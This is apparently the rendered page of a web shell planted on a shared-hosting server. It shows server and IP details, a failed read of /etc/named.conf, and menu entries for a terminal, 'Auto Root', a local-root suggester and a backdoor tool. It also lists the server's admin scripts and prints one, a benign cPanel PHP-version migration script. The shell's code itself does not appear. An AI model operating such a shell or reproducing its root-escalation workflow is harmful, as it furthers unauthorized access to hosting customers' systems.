Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.1
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
sp_scripts /
Delete
Unzip
Name
Size
Permission
Date
Action
accounts_audit.sh
1.05
KB
-rwxr-xr-x
2026-02-24 11:05
fix_cagefs
474
B
-rwxr-xr-x
2026-02-24 11:05
jb5_to_cpanel_convertor.sh
13.78
KB
-rwxr-xr-x
2026-02-24 11:05
log_flood_block.sh
5.18
KB
-rwxr-xr-x
2026-02-24 11:05
lstop.py
1.19
KB
-rwxr-xr-x
2026-02-24 11:05
phpmoves.sh
1.59
KB
-rwxr-xr-x
2026-02-24 11:05
post_transfer_cleanup.sh
3.28
KB
-rwxr-xr-x
2026-02-24 11:05
reseller_csf_priv.php
282
B
-rwxr-xr-x
2026-02-24 11:05
sp_remote_sql.php
2.73
KB
-rwxr-xr-x
2026-02-24 11:05
uap.py
3.83
KB
-rwxr-xr-x
2026-02-24 11:05
wellknown.sh
2.48
KB
-rwxr-xr-x
2026-02-24 11:05
Save
Rename
#!/bin/bash # phpmoves.sh - Generate a list of the cPanel users and their current PHP versions # Copyright 2023 World Host Group. # Tsvetan Gerov <tsvetan@worldhost.group> # Version 0.2 if [ ! -x /usr/bin/selectorctl ]; then echo "Error: This server is not using CloudLinux's PHP selector" exit 1 fi case $1 in generate) nativeVersion=$(selectorctl --show-native-version) serverHostname=$(hostname -f) CPUSERS=$(whmapi1 listaccts | grep user | awk '{print$2}') OUTPUT=${serverHostname}.txt truncate -s 0 $OUTPUT for CPUSER in $CPUSERS; do if getent passwd $CPUSER > /dev/null 2>&1; then PHPVER=$(selectorctl --user-current --user=${CPUSER} | awk '{print$1}') if [ $PHPVER == "native" ]; then PHPVER=$nativeVersion fi echo "$CPUSER : $PHPVER" | tee -a $OUTPUT fi done echo "Transfer $OUTPUT file to the new server and execute ./$(basename $0) load $OUTPUT" ;; load) FILE=$2 echo "Loading $FILE..." CPUSERS=$(cat $FILE | awk '{print$1}') for CPUSER in $CPUSERS; do if getent passwd $CPUSER > /dev/null 2>&1; then PHPVER=$(grep -w ^${CPUSER} $FILE | awk '{print$3}') echo "=> $CPUSER: Settings PHP version to $PHPVER" selectorctl --set-user-current=$PHPVER --user=$CPUSER else echo "--> User $CPUSER does not exists on this server." fi done ;; *) echo "Usage: $(basename $0) generate|load" echo "generate - generate a list with users and their curent php versions" echo "load <filename> - set a users php versions from a generated list" ;; esac